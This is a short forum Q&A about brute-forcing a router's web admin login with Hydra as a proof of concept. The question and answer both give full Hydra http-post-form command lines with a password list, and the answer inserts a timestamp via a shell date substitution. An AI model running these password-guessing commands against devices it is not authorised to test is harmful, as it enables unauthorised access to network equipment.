I am attempting to run a brute-force attack on my router just as a proof of concept and have hit a problem in that the POST request requires a parameter of the current timestamp. Here is my current attempt

hydra -l admin -P passwords.txt -V http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64^&curTime=TIMESTAMP:S=Logout"

I want to insert the current timestamp for the parameter curTime, how would I do this?

  • Hydra is a pretty simple tool; I doubt it is capable of that. I suggest seeing if you can extend it's functionality to do that, or write a simple script to do what you want. Jul 11, 2020 at 21:52

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It depends on the desired timestamp format.
If your format is supposed to look like 2020-07-12 07:52:01 for example, then you could use (assuming that you run your command from some kind of Linux/Unix):

hydra -l admin -P passwords.txt -V http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64^&curTime=$(date '+%Y-%m-%d+%H:%M:%S' | sed s/:/%3A/g):S=Logout"

Adjust the date format string to your needs.

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